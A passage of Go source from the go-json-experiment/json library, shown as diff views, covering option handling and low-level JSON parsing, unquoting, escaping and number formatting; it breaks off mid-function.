// Struct is the combination of all options in struct form.
// This is efficient to pass down the call stack and to query.
type Struct struct {
Flags jsonflags.Flags
CoderValues
ArshalValues
}
type CoderValues struct {
Indent string // jsonflags.Indent
IndentPrefix string // jsonflags.IndentPrefix
ByteLimit int64 // jsonflags.ByteLimit
DepthLimit int // jsonflags.DepthLimit
}
type ArshalValues struct {
// The Marshalers and Unmarshalers fields use the any type to avoid a
// concrete dependency on *json.Marshalers and *json.Unmarshalers,
// which would in turn create a dependency on the "reflect" package.
Marshalers any // jsonflags.Marshalers
Unmarshalers any // jsonflags.Unmarshalers
Format string
FormatDepth int
}
// DefaultOptionsV2 is the set of all options that define default v2 behavior.
var DefaultOptionsV2 = Struct{
Flags: jsonflags.Flags{
Presence: uint64(jsonflags.AllFlags),
Values: uint64(0),
},
CoderValues: CoderValues{Indent: "\t"}, // Indent is set, but Expand is set to false
}
// DefaultOptionsV1 is the set of all options that define default v1 behavior.
var DefaultOptionsV1 = Struct{
Flags: jsonflags.Flags{
Presence: uint64(jsonflags.AllFlags),
Values: uint64(jsonflags.DefaultV1Flags),
},
CoderValues: CoderValues{Indent: "\t"}, // Indent is set, but Expand is set to false
}
// CopyCoderOptions copies coder-specific options from src to dst.
// This is used by json.MarshalEncode and json.UnmarshalDecode since those
// functions ignore any coder-specific options and uses the options from the
// Encoder or Decoder that is passed in.
func (dst *Struct) CopyCoderOptions(src *Struct) {
srcFlags := src.Flags
srcFlags.Clear(^jsonflags.AllCoderFlags)
dst.Flags.Join(srcFlags)
dst.CoderValues = src.CoderValues
}
func (*Struct) JSONOptions(internal.NotForPublicUse) {}
// GetUnknownOption is injected by the "json" package to handle Options
// declared in that package so that "jsonopts" can handle them.
var GetUnknownOption = func(*Struct, Options) (any, bool) { panic("unknown option") }
func GetOption[T any](opts Options, setter func(T) Options) (T, bool) {
// Collapse the options to *Struct to simplify lookup.
structOpts, ok := opts.(*Struct)
if !ok {
var structOpts2 Struct
structOpts2.Join(opts)
structOpts = &structOpts2
}
// Lookup the option based on the return value of the setter.
var zero T
switch opt := setter(zero).(type) {
case jsonflags.Bools:
v := structOpts.Flags.Get(opt)
ok := structOpts.Flags.Has(opt)
return any(v).(T), ok
case Indent:
if !structOpts.Flags.Has(jsonflags.Indent) {
return zero, false
}
return any(structOpts.Indent).(T), true
case IndentPrefix:
if !structOpts.Flags.Has(jsonflags.IndentPrefix) {
return zero, false
}
return any(structOpts.IndentPrefix).(T), true
case ByteLimit:
if !structOpts.Flags.Has(jsonflags.ByteLimit) {
return zero, false
}
return any(structOpts.ByteLimit).(T), true
case DepthLimit:
if !structOpts.Flags.Has(jsonflags.DepthLimit) {
return zero, false
}
return any(structOpts.DepthLimit).(T), true
default:
v, ok := GetUnknownOption(structOpts, opt)
return v.(T), ok
}
}
// JoinUnknownOption is injected by the "json" package to handle Options
// declared in that package so that "jsonopts" can handle them.
var JoinUnknownOption = func(*Struct, Options) { panic("unknown option") }
func (dst *Struct) Join(srcs ...Options) {
for _, src := range srcs {
switch src := src.(type) {
case nil:
continue
case jsonflags.Bools:
dst.Flags.Set(src)
case Indent:
dst.Flags.Set(jsonflags.Expand | jsonflags.Indent | 1)
dst.Indent = string(src)
case IndentPrefix:
dst.Flags.Set(jsonflags.Expand | jsonflags.IndentPrefix | 1)
dst.IndentPrefix = string(src)
case ByteLimit:
dst.Flags.Set(jsonflags.ByteLimit | 1)
dst.ByteLimit = int64(src)
case DepthLimit:
dst.Flags.Set(jsonflags.DepthLimit | 1)
dst.DepthLimit = int(src)
case *Struct:
dst.Flags.Join(src.Flags)
if src.Flags.Has(jsonflags.NonBooleanFlags) {
if src.Flags.Has(jsonflags.Indent) {
dst.Indent = src.Indent
}
if src.Flags.Has(jsonflags.IndentPrefix) {
dst.IndentPrefix = src.IndentPrefix
}
if src.Flags.Has(jsonflags.ByteLimit) {
dst.ByteLimit = src.ByteLimit
}
if src.Flags.Has(jsonflags.DepthLimit) {
dst.DepthLimit = src.DepthLimit
}
if src.Flags.Has(jsonflags.Marshalers) {
dst.Marshalers = src.Marshalers
}
if src.Flags.Has(jsonflags.Unmarshalers) {
dst.Unmarshalers = src.Unmarshalers
}
}
if src.Format != "" {
dst.Format = src.Format
dst.FormatDepth = src.FormatDepth
}
default:
JoinUnknownOption(dst, src)
}
}
}
type (
Indent string // jsontext.WithIndent
IndentPrefix string // jsontext.WithIndentPrefix
ByteLimit int64 // jsontext.WithByteLimit
DepthLimit int // jsontext.WithDepthLimit
// type for jsonflags.Marshalers declared in "json" package
// type for jsonflags.Unmarshalers declared in "json" package
)
func (Indent) JSONOptions(internal.NotForPublicUse) {}
func (IndentPrefix) JSONOptions(internal.NotForPublicUse) {}
func (ByteLimit) JSONOptions(internal.NotForPublicUse) {}
func (DepthLimit) JSONOptions(internal.NotForPublicUse) {}
+640
View File
@@ -0,0 +1,640 @@
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package jsonwire
import (
"io"
"math"
"slices"
"strconv"
"unicode/utf16"
"unicode/utf8"
)
type ValueFlags uint
const (
_ ValueFlags = (1 << iota) / 2 // powers of two starting with zero
stringNonVerbatim // string cannot be naively treated as valid UTF-8
stringNonCanonical // string not formatted according to RFC 8785, section 3.2.2.2.
// TODO: Track whether a number is a non-integer?
)
func (f *ValueFlags) Join(f2 ValueFlags) { *f |= f2 }
func (f ValueFlags) IsVerbatim() bool { return f&stringNonVerbatim == 0 }
func (f ValueFlags) IsCanonical() bool { return f&stringNonCanonical == 0 }
// ConsumeWhitespace consumes leading JSON whitespace per RFC 7159, section 2.
func ConsumeWhitespace(b []byte) (n int) {
// NOTE: The arguments and logic are kept simple to keep this inlinable.
for len(b) > n && (b[n] == ' ' || b[n] == '\t' || b[n] == '\r' || b[n] == '\n') {
n++
}
return n
}
// ConsumeNull consumes the next JSON null literal per RFC 7159, section 3.
// It returns 0 if it is invalid, in which case consumeLiteral should be used.
func ConsumeNull(b []byte) int {
// NOTE: The arguments and logic are kept simple to keep this inlinable.
const literal = "null"
if len(b) >= len(literal) && string(b[:len(literal)]) == literal {
return len(literal)
}
return 0
}
// ConsumeFalse consumes the next JSON false literal per RFC 7159, section 3.
// It returns 0 if it is invalid, in which case consumeLiteral should be used.
func ConsumeFalse(b []byte) int {
// NOTE: The arguments and logic are kept simple to keep this inlinable.
const literal = "false"
if len(b) >= len(literal) && string(b[:len(literal)]) == literal {
return len(literal)
}
return 0
}
// ConsumeTrue consumes the next JSON true literal per RFC 7159, section 3.
// It returns 0 if it is invalid, in which case consumeLiteral should be used.
func ConsumeTrue(b []byte) int {
// NOTE: The arguments and logic are kept simple to keep this inlinable.
const literal = "true"
if len(b) >= len(literal) && string(b[:len(literal)]) == literal {
return len(literal)
}
return 0
}
// ConsumeLiteral consumes the next JSON literal per RFC 7159, section 3.
// If the input appears truncated, it returns io.ErrUnexpectedEOF.
func ConsumeLiteral(b []byte, lit string) (n int, err error) {
for i := 0; i < len(b) && i < len(lit); i++ {
if b[i] != lit[i] {
return i, NewInvalidCharacterError(b[i:], "within literal "+lit+" (expecting "+strconv.QuoteRune(rune(lit[i]))+")")
}
}
if len(b) < len(lit) {
return len(b), io.ErrUnexpectedEOF
}
return len(lit), nil
}
// ConsumeSimpleString consumes the next JSON string per RFC 7159, section 7
// but is limited to the grammar for an ASCII string without escape sequences.
// It returns 0 if it is invalid or more complicated than a simple string,
// in which case consumeString should be called.
//
// It rejects '<', '>', and '&' for compatibility reasons since these were
// always escaped in the v1 implementation. Thus, if this function reports
// non-zero then we know that the string would be encoded the same way
// under both v1 or v2 escape semantics.
func ConsumeSimpleString(b []byte) (n int) {
// NOTE: The arguments and logic are kept simple to keep this inlinable.
if len(b) > 0 && b[0] == '"' {
n++
for len(b) > n && b[n] < utf8.RuneSelf && escapeASCII[b[n]] == 0 {
n++
}
if uint(len(b)) > uint(n) && b[n] == '"' {
n++
return n
}
}
return 0
}
// ConsumeString consumes the next JSON string per RFC 7159, section 7.
// If validateUTF8 is false, then this allows the presence of invalid UTF-8
// characters within the string itself.
// It reports the number of bytes consumed and whether an error was encountered.
// If the input appears truncated, it returns io.ErrUnexpectedEOF.
func ConsumeString(flags *ValueFlags, b []byte, validateUTF8 bool) (n int, err error) {
return ConsumeStringResumable(flags, b, 0, validateUTF8)
}
// ConsumeStringResumable is identical to consumeString but supports resuming
// from a previous call that returned io.ErrUnexpectedEOF.
func ConsumeStringResumable(flags *ValueFlags, b []byte, resumeOffset int, validateUTF8 bool) (n int, err error) {
// Consume the leading double quote.
switch {
case resumeOffset > 0:
n = resumeOffset // already handled the leading quote
case uint(len(b)) == 0:
return n, io.ErrUnexpectedEOF
case b[0] == '"':
n++
default:
return n, NewInvalidCharacterError(b[n:], `at start of string (expecting '"')`)
}
// Consume every character in the string.
for uint(len(b)) > uint(n) {
// Optimize for long sequences of unescaped characters.
noEscape := func(c byte) bool {
return c < utf8.RuneSelf && ' ' <= c && c != '\\' && c != '"'
}
for uint(len(b)) > uint(n) && noEscape(b[n]) {
n++
}
if uint(len(b)) <= uint(n) {
return n, io.ErrUnexpectedEOF
}
// Check for terminating double quote.
if b[n] == '"' {
n++
return n, nil
}
switch r, rn := utf8.DecodeRune(b[n:]); {
// Handle UTF-8 encoded byte sequence.
// Due to specialized handling of ASCII above, we know that
// all normal sequences at this point must be 2 bytes or larger.
case rn > 1:
n += rn
// Handle escape sequence.
case r == '\\':
flags.Join(stringNonVerbatim)
resumeOffset = n
if uint(len(b)) < uint(n+2) {
return resumeOffset, io.ErrUnexpectedEOF
}
switch r := b[n+1]; r {
case '/':
// Forward slash is the only character with 3 representations.
// Per RFC 8785, section 3.2.2.2., this must not be escaped.
flags.Join(stringNonCanonical)
n += 2
case '"', '\\', 'b', 'f', 'n', 'r', 't':
n += 2
case 'u':
if uint(len(b)) < uint(n+6) {
if hasEscapedUTF16Prefix(b[n:], false) {
return resumeOffset, io.ErrUnexpectedEOF
}
flags.Join(stringNonCanonical)
return n, NewInvalidEscapeSequenceError(b[n:])
}
v1, ok := parseHexUint16(b[n+2 : n+6])
if !ok {
flags.Join(stringNonCanonical)
return n, NewInvalidEscapeSequenceError(b[n : n+6])
}
// Only certain control characters can use the \uFFFF notation
// for canonical formatting (per RFC 8785, section 3.2.2.2.).
switch v1 {
// \uFFFF notation not permitted for these characters.
case '\b', '\f', '\n', '\r', '\t':
flags.Join(stringNonCanonical)
default:
// \uFFFF notation only permitted for control characters.
if v1 >= ' ' {
flags.Join(stringNonCanonical)
} else {
// \uFFFF notation must be lower case.
for _, c := range b[n+2 : n+6] {
if 'A' <= c && c <= 'F' {
flags.Join(stringNonCanonical)
}
}
}
}
n += 6
r := rune(v1)
if validateUTF8 && utf16.IsSurrogate(r) {
if uint(len(b)) < uint(n+6) {
if hasEscapedUTF16Prefix(b[n:], true) {
return resumeOffset, io.ErrUnexpectedEOF
}
flags.Join(stringNonCanonical)
return n - 6, NewInvalidEscapeSequenceError(b[n-6:])
} else if v2, ok := parseHexUint16(b[n+2 : n+6]); b[n] != '\\' || b[n+1] != 'u' || !ok {
flags.Join(stringNonCanonical)
return n - 6, NewInvalidEscapeSequenceError(b[n-6 : n+6])
} else if r = utf16.DecodeRune(rune(v1), rune(v2)); r == utf8.RuneError {
flags.Join(stringNonCanonical)
return n - 6, NewInvalidEscapeSequenceError(b[n-6 : n+6])
} else {
n += 6
}
}
default:
flags.Join(stringNonCanonical)
return n, NewInvalidEscapeSequenceError(b[n : n+2])
}
// Handle invalid UTF-8.
case r == utf8.RuneError:
if !utf8.FullRune(b[n:]) {
return n, io.ErrUnexpectedEOF
}
flags.Join(stringNonVerbatim | stringNonCanonical)
if validateUTF8 {
return n, ErrInvalidUTF8
}
n++
// Handle invalid control characters.
case r < ' ':
flags.Join(stringNonVerbatim | stringNonCanonical)
return n, NewInvalidCharacterError(b[n:], "within string (expecting non-control character)")
default:
panic("BUG: unhandled character " + QuoteRune(b[n:]))
}
}
return n, io.ErrUnexpectedEOF
}
// AppendUnquote appends the unescaped form of a JSON string in src to dst.
// Any invalid UTF-8 within the string will be replaced with utf8.RuneError,
// but the error will be specified as having encountered such an error.
// The input must be an entire JSON string with no surrounding whitespace.
func AppendUnquote[Bytes ~[]byte | ~string](dst []byte, src Bytes) (v []byte, err error) {
dst = slices.Grow(dst, len(src))
// Consume the leading double quote.
var i, n int
switch {
case uint(len(src)) == 0:
return dst, io.ErrUnexpectedEOF
case src[0] == '"':
i, n = 1, 1
default:
return dst, NewInvalidCharacterError(src, `at start of string (expecting '"')`)
}
// Consume every character in the string.
for uint(len(src)) > uint(n) {
// Optimize for long sequences of unescaped characters.
noEscape := func(c byte) bool {
return c < utf8.RuneSelf && ' ' <= c && c != '\\' && c != '"'
}
for uint(len(src)) > uint(n) && noEscape(src[n]) {
n++
}
if uint(len(src)) <= uint(n) {
dst = append(dst, src[i:n]...)
return dst, io.ErrUnexpectedEOF
}
// Check for terminating double quote.
if src[n] == '"' {
dst = append(dst, src[i:n]...)
n++
if n < len(src) {
err = NewInvalidCharacterError(src[n:], "after string value")
}
return dst, err
}
switch r, rn := utf8.DecodeRuneInString(string(truncateMaxUTF8(src[n:]))); {
// Handle UTF-8 encoded byte sequence.
// Due to specialized handling of ASCII above, we know that
// all normal sequences at this point must be 2 bytes or larger.
case rn > 1:
n += rn
// Handle escape sequence.
case r == '\\':
dst = append(dst, src[i:n]...)
// Handle escape sequence.
if uint(len(src)) < uint(n+2) {
return dst, io.ErrUnexpectedEOF
}
switch r := src[n+1]; r {
case '"', '\\', '/':
dst = append(dst, r)
n += 2
case 'b':
dst = append(dst, '\b')
n += 2
case 'f':
dst = append(dst, '\f')
n += 2
case 'n':
dst = append(dst, '\n')
n += 2
case 'r':
dst = append(dst, '\r')
n += 2
case 't':
dst = append(dst, '\t')
n += 2
case 'u':
if uint(len(src)) < uint(n+6) {
if hasEscapedUTF16Prefix(src[n:], false) {
return dst, io.ErrUnexpectedEOF
}
return dst, NewInvalidEscapeSequenceError(src[n:])
}
v1, ok := parseHexUint16(src[n+2 : n+6])
if !ok {
return dst, NewInvalidEscapeSequenceError(src[n : n+6])
}
n += 6
// Check whether this is a surrogate half.
r := rune(v1)
if utf16.IsSurrogate(r) {
r = utf8.RuneError // assume failure unless the following succeeds
if uint(len(src)) < uint(n+6) {
if hasEscapedUTF16Prefix(src[n:], true) {
return utf8.AppendRune(dst, r), io.ErrUnexpectedEOF
}
err = NewInvalidEscapeSequenceError(src[n-6:])
} else if v2, ok := parseHexUint16(src[n+2 : n+6]); src[n] != '\\' || src[n+1] != 'u' || !ok {
err = NewInvalidEscapeSequenceError(src[n-6 : n+6])
} else if r = utf16.DecodeRune(rune(v1), rune(v2)); r == utf8.RuneError {
err = NewInvalidEscapeSequenceError(src[n-6 : n+6])
} else {
n += 6
}
}
dst = utf8.AppendRune(dst, r)
default:
return dst, NewInvalidEscapeSequenceError(src[n : n+2])
}
i = n
// Handle invalid UTF-8.
case r == utf8.RuneError:
dst = append(dst, src[i:n]...)
if !utf8.FullRuneInString(string(truncateMaxUTF8(src[n:]))) {
return dst, io.ErrUnexpectedEOF
}
// NOTE: An unescaped string may be longer than the escaped string
// because invalid UTF-8 bytes are being replaced.
dst = append(dst, "\uFFFD"...)
n += rn
i = n
err = ErrInvalidUTF8
// Handle invalid control characters.
case r < ' ':
dst = append(dst, src[i:n]...)
return dst, NewInvalidCharacterError(src[n:], "within string (expecting non-control character)")
default:
panic("BUG: unhandled character " + QuoteRune(src[n:]))
}
}
dst = append(dst, src[i:n]...)
return dst, io.ErrUnexpectedEOF
}
// hasEscapedUTF16Prefix reports whether b is possibly
// the truncated prefix of a \uFFFF escape sequence.
func hasEscapedUTF16Prefix[Bytes ~[]byte | ~string](b Bytes, lowerSurrogateHalf bool) bool {
for i := 0; i < len(b); i++ {
switch c := b[i]; {
case i == 0 && c != '\\':
return false
case i == 1 && c != 'u':
return false
case i == 2 && lowerSurrogateHalf && c != 'd' && c != 'D':
return false // not within ['\uDC00':'\uDFFF']
case i == 3 && lowerSurrogateHalf && !('c' <= c && c <= 'f') && !('C' <= c && c <= 'F'):
return false // not within ['\uDC00':'\uDFFF']
case i >= 2 && i < 6 && !('0' <= c && c <= '9') && !('a' <= c && c <= 'f') && !('A' <= c && c <= 'F'):
return false
}
}
return true
}
// UnquoteMayCopy returns the unescaped form of b.
// If there are no escaped characters, the output is simply a subslice of
// the input with the surrounding quotes removed.
// Otherwise, a new buffer is allocated for the output.
// It assumes the input is valid.
func UnquoteMayCopy(b []byte, isVerbatim bool) []byte {
// NOTE: The arguments and logic are kept simple to keep this inlinable.
if isVerbatim {
return b[len(`"`) : len(b)-len(`"`)]
}
b, _ = AppendUnquote(nil, b)
return b
}
// ConsumeSimpleNumber consumes the next JSON number per RFC 7159, section 6
// but is limited to the grammar for a positive integer.
// It returns 0 if it is invalid or more complicated than a simple integer,
// in which case consumeNumber should be called.
func ConsumeSimpleNumber(b []byte) (n int) {
// NOTE: The arguments and logic are kept simple to keep this inlinable.
if len(b) > 0 {
if b[0] == '0' {
n++
} else if '1' <= b[0] && b[0] <= '9' {
n++
for len(b) > n && ('0' <= b[n] && b[n] <= '9') {
n++
}
} else {
return 0
}
if uint(len(b)) <= uint(n) || (b[n] != '.' && b[n] != 'e' && b[n] != 'E') {
return n
}
}
return 0
}
type ConsumeNumberState uint
const (
consumeNumberInit ConsumeNumberState = iota
beforeIntegerDigits
withinIntegerDigits
beforeFractionalDigits
withinFractionalDigits
beforeExponentDigits
withinExponentDigits
)
// ConsumeNumber consumes the next JSON number per RFC 7159, section 6.
// It reports the number of bytes consumed and whether an error was encountered.
// If the input appears truncated, it returns io.ErrUnexpectedEOF.
//
// Note that JSON numbers are not self-terminating.
// If the entire input is consumed, then the caller needs to consider whether
// there may be subsequent unread data that may still be part of this number.
func ConsumeNumber(b []byte) (n int, err error) {
n, _, err = ConsumeNumberResumable(b, 0, consumeNumberInit)
return n, err
}
// ConsumeNumberResumable is identical to consumeNumber but supports resuming
// from a previous call that returned io.ErrUnexpectedEOF.
func ConsumeNumberResumable(b []byte, resumeOffset int, state ConsumeNumberState) (n int, _ ConsumeNumberState, err error) {
// Jump to the right state when resuming from a partial consumption.
n = resumeOffset
if state > consumeNumberInit {
switch state {
case withinIntegerDigits, withinFractionalDigits, withinExponentDigits:
// Consume leading digits.
for uint(len(b)) > uint(n) && ('0' <= b[n] && b[n] <= '9') {
n++
}
if uint(len(b)) <= uint(n) {
return n, state, nil // still within the same state
}
state++ // switches "withinX" to "beforeY" where Y is the state after X
}
switch state {
case beforeIntegerDigits:
goto beforeInteger
case beforeFractionalDigits:
goto beforeFractional
case beforeExponentDigits:
goto beforeExponent
default:
return n, state, nil
}
}
// Consume required integer component (with optional minus sign).
beforeInteger:
resumeOffset = n
if uint(len(b)) > 0 && b[0] == '-' {
n++
}
switch {
case uint(len(b)) <= uint(n):
return resumeOffset, beforeIntegerDigits, io.ErrUnexpectedEOF
case b[n] == '0':
n++
state = beforeFractionalDigits
case '1' <= b[n] && b[n] <= '9':
n++
for uint(len(b)) > uint(n) && ('0' <= b[n] && b[n] <= '9') {
n++
}
state = withinIntegerDigits
default:
return n, state, NewInvalidCharacterError(b[n:], "within number (expecting digit)")
}
// Consume optional fractional component.
beforeFractional:
if uint(len(b)) > uint(n) && b[n] == '.' {
resumeOffset = n
n++
switch {
case uint(len(b)) <= uint(n):
return resumeOffset, beforeFractionalDigits, io.ErrUnexpectedEOF
case '0' <= b[n] && b[n] <= '9':
n++
default:
return n, state, NewInvalidCharacterError(b[n:], "within number (expecting digit)")
}
for uint(len(b)) > uint(n) && ('0' <= b[n] && b[n] <= '9') {
n++
}
state = withinFractionalDigits
}
// Consume optional exponent component.
beforeExponent:
if uint(len(b)) > uint(n) && (b[n] == 'e' || b[n] == 'E') {
resumeOffset = n
n++
if uint(len(b)) > uint(n) && (b[n] == '-' || b[n] == '+') {
n++
}
switch {
case uint(len(b)) <= uint(n):
return resumeOffset, beforeExponentDigits, io.ErrUnexpectedEOF
case '0' <= b[n] && b[n] <= '9':
n++
default:
return n, state, NewInvalidCharacterError(b[n:], "within number (expecting digit)")
}
for uint(len(b)) > uint(n) && ('0' <= b[n] && b[n] <= '9') {
n++
}
state = withinExponentDigits
}
return n, state, nil
}
// parseHexUint16 is similar to strconv.ParseUint,
// but operates directly on []byte and is optimized for base-16.
// See https://go.dev/issue/42429.
func parseHexUint16[Bytes ~[]byte | ~string](b Bytes) (v uint16, ok bool) {
if len(b) != 4 {
return 0, false
}
for i := 0; i < 4; i++ {
c := b[i]
switch {
case '0' <= c && c <= '9':
c = c - '0'
case 'a' <= c && c <= 'f':
c = 10 + c - 'a'
case 'A' <= c && c <= 'F':
c = 10 + c - 'A'
default:
return 0, false
}
v = v*16 + uint16(c)
}
return v, true
}
// ParseUint parses b as a decimal unsigned integer according to
// a strict subset of the JSON number grammar, returning the value if valid.
// It returns (0, false) if there is a syntax error and
// returns (math.MaxUint64, false) if there is an overflow.
func ParseUint(b []byte) (v uint64, ok bool) {
const unsafeWidth = 20 // len(fmt.Sprint(uint64(math.MaxUint64)))
var n int
for ; len(b) > n && ('0' <= b[n] && b[n] <= '9'); n++ {
v = 10*v + uint64(b[n]-'0')
}
switch {
case n == 0 || len(b) != n || (b[0] == '0' && string(b) != "0"):
return 0, false
case n >= unsafeWidth && (b[0] != '1' || v < 1e19 || n > unsafeWidth):
return math.MaxUint64, false
}
return v, true
}
// ParseFloat parses a floating point number according to the Go float grammar.
// Note that the JSON number grammar is a strict subset.
//
// If the number overflows the finite representation of a float,
// then we return MaxFloat since any finite value will always be infinitely
// more accurate at representing another finite value than an infinite value.
func ParseFloat(b []byte, bits int) (v float64, ok bool) {
// Fast path for exact integer numbers which fit in the
// 24-bit or 53-bit significand of a float32 or float64.
var negLen int // either 0 or 1
if len(b) > 0 && b[0] == '-' {
negLen = 1
}
u, ok := ParseUint(b[negLen:])
if ok && ((bits == 32 && u <= 1<<24) || (bits == 64 && u <= 1<<53)) {
return math.Copysign(float64(u), float64(-1*negLen)), true
}
// Note that the []byte->string conversion unfortunately allocates.
// See https://go.dev/issue/42429 for more information.
fv, err := strconv.ParseFloat(string(b), bits)
if math.IsInf(fv, 0) {
switch {
case bits == 32 && math.IsInf(fv, +1):
fv = +math.MaxFloat32
case bits == 64 && math.IsInf(fv, +1):
fv = +math.MaxFloat64
case bits == 32 && math.IsInf(fv, -1):
fv = -math.MaxFloat32
case bits == 64 && math.IsInf(fv, -1):
fv = -math.MaxFloat64
}
}
return fv, err == nil
}
+234
View File
@@ -0,0 +1,234 @@
// Copyright 2023 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package jsonwire
import (
"math"
"slices"
"strconv"
"unicode/utf16"
"unicode/utf8"
"github.com/go-json-experiment/json/internal/jsonflags"
)
// escapeASCII reports whether the ASCII character needs to be escaped.
// It conservatively assumes EscapeForHTML.
var escapeASCII = [...]uint8{
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // escape control characters
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, // escape control characters
0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, // escape '"' and '&'
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, // escape '<' and '>'
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, // escape '\\'
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
}
// NeedEscape reports whether src needs escaping of any characters.
// It conservatively assumes EscapeForHTML and EscapeForJS.
// It reports true for inputs with invalid UTF-8.
func NeedEscape[Bytes ~[]byte | ~string](src Bytes) bool {
var i int
for uint(len(src)) > uint(i) {
if c := src[i]; c < utf8.RuneSelf {
if escapeASCII[c] > 0 {
return true
}
i++
} else {
r, rn := utf8.DecodeRuneInString(string(truncateMaxUTF8(src[i:])))
if r == utf8.RuneError || r == '\u2028' || r == '\u2029' {
return true
}
i += rn
}
}
return false
}
// AppendQuote appends src to dst as a JSON string per RFC 7159, section 7.
//
// It takes in flags and respects the following:
// - EscapeForHTML escapes '<', '>', and '&'.
// - EscapeForJS escapes '\u2028' and '\u2029'.
// - AllowInvalidUTF8 avoids reporting an error for invalid UTF-8.
//
// Regardless of whether AllowInvalidUTF8 is specified,
// invalid bytes are replaced with the Unicode replacement character ('\ufffd').
// If no escape flags are set, then the shortest representable form is used,
// which is also the canonical form for strings (RFC 8785, section 3.2.2.2).
func AppendQuote[Bytes ~[]byte | ~string](dst []byte, src Bytes, flags *jsonflags.Flags) ([]byte, error) {
var i, n int
var hasInvalidUTF8 bool
dst = slices.Grow(dst, len(`"`)+len(src)+len(`"`))
dst = append(dst, '"')
for uint(len(src)) > uint(n) {
// Handle single-byte ASCII.
if c := src[n]; c < utf8.RuneSelf {
n++
if escapeASCII[c] > 0 {
if (c == '<' || c == '>' || c == '&') && !flags.Get(jsonflags.EscapeForHTML) {
continue
}
dst = append(dst, src[i:n-1]...)
dst = appendEscapedASCII(dst, c)
i = n
}
continue
}
// Handle multi-byte Unicode.
switch r, rn := utf8.DecodeRuneInString(string(truncateMaxUTF8(src[n:]))); {
case r == utf8.RuneError && rn == 1:
hasInvalidUTF8 = true
dst = append(dst, src[i:n]...)
dst = append(dst, "\ufffd"...)
n += rn
i = n
case (r == '\u2028' || r == '\u2029') && flags.Get(jsonflags.EscapeForJS):
dst = append(dst, src[i:n]...)
dst = appendEscapedUnicode(dst, r)
n += rn
i = n
default:
n += rn
}
}
dst = append(dst, src[i:n]...)
dst = append(dst, '"')
if hasInvalidUTF8 && !flags.Get(jsonflags.AllowInvalidUTF8) {
return dst, ErrInvalidUTF8
}
return dst, nil
}
func appendEscapedASCII(dst []byte, c byte) []byte {
switch c {
case '"', '\\':
dst = append(dst, '\\', c)
case '\b':
dst = append(dst, "\\b"...)
case '\f':
dst = append(dst, "\\f"...)
case '\n':
dst = append(dst, "\\n"...)
case '\r':
dst = append(dst, "\\r"...)
case '\t':
dst = append(dst, "\\t"...)
default:
dst = appendEscapedUTF16(dst, uint16(c))
}
return dst
}
func appendEscapedUnicode(dst []byte, r rune) []byte {
if r1, r2 := utf16.EncodeRune(r); r1 != '\ufffd' && r2 != '\ufffd' {
dst = appendEscapedUTF16(dst, uint16(r1))
dst = appendEscapedUTF16(dst, uint16(r2))
} else {
dst = appendEscapedUTF16(dst, uint16(r))
}
return dst
}
func appendEscapedUTF16(dst []byte, x uint16) []byte {
const hex = "0123456789abcdef"
return append(dst, '\\', 'u', hex[(x>>12)&0xf], hex[(x>>8)&0xf], hex[(x>>4)&0xf], hex[(x>>0)&0xf])
}
// ReformatString consumes a JSON string from src and appends it to dst,
// reformatting it if necessary for the given escapeRune parameter.
// It returns the appended output and the number of consumed input bytes.
func ReformatString(dst, src []byte, flags *jsonflags.Flags) ([]byte, int, error) {
// TODO: Should this update ValueFlags as input?
var valFlags ValueFlags
n, err := ConsumeString(&valFlags, src, !flags.Get(jsonflags.AllowInvalidUTF8))
if err != nil {
return dst, n, err
}
isCanonical := !flags.Get(jsonflags.EscapeForHTML | jsonflags.EscapeForJS)
if flags.Get(jsonflags.PreserveRawStrings) || (isCanonical && valFlags.IsCanonical()) {
dst = append(dst, src[:n]...) // copy the string verbatim
return dst, n, nil
}
// TODO: Implement a direct, raw-to-raw reformat for strings.
// If the escapeRune option would have resulted in no changes to the output,
// it would be faster to simply append src to dst without going through
// an intermediary representation in a separate buffer.
b, _ := AppendUnquote(nil, src[:n])
dst, _ = AppendQuote(dst, string(b), flags)
return dst, n, nil
}
// AppendFloat appends src to dst as a JSON number per RFC 7159, section 6.
// It formats numbers similar to the ES6 number-to-string conversion.
// See https://go.dev/issue/14135.
//
// The output is identical to ECMA-262, 6th edition, section 7.1.12.1 and with
// RFC 8785, section 3.2.2.3 for 64-bit floating-point numbers except for -0,
// which is formatted as -0 instead of just 0.
//
// For 32-bit floating-point numbers,
// the output is a 32-bit equivalent of the algorithm.
// Note that ECMA-262 specifies no algorithm for 32-bit numbers.
func AppendFloat(dst []byte, src float64, bits int) []byte {
if bits == 32 {
src = float64(float32(src))
}
abs := math.Abs(src)
fmt := byte('f')
if abs != 0 {
if bits == 64 && (float64(abs) < 1e-6 || float64(abs) >= 1e21) ||
bits == 32 && (float32(abs) < 1e-6 || float32(abs) >= 1e21) {
fmt = 'e'
}
}
dst = strconv.AppendFloat(dst, src, fmt, -1, bits)
if fmt == 'e' {
// Clean up e-09 to e-9.
n := len(dst)
if n >= 4 && dst[n-4] == 'e' && dst[n-3] == '-' && dst[n-2] == '0' {
dst[n-2] = dst[n-1]
dst = dst[:n-1]
}
}
return dst
}
// ReformatNumber consumes a JSON string from src and appends it to dst,
// canonicalizing it if specified.
// It returns the appended output and the number of consumed input bytes.
func ReformatNumber(dst, src []byte, canonicalize bool) ([]byte, int, error) {
n, err := ConsumeNumber(src)
if err != nil {
return dst, n, err
}
if !canonicalize {
dst = append(dst, src[:n]...) // copy the number verbatim
return dst, n, nil
}
// Canonicalize the number per RFC 8785, section 3.2.2.3.
// As an optimization, we can copy integer numbers below 2⁵³ verbatim.
const maxExactIntegerDigits = 16 // len(strconv.AppendUint(nil, 1<<53, 10))
if n < maxExactIntegerDigits && ConsumeSimpleNumber(src[:n]) == n {
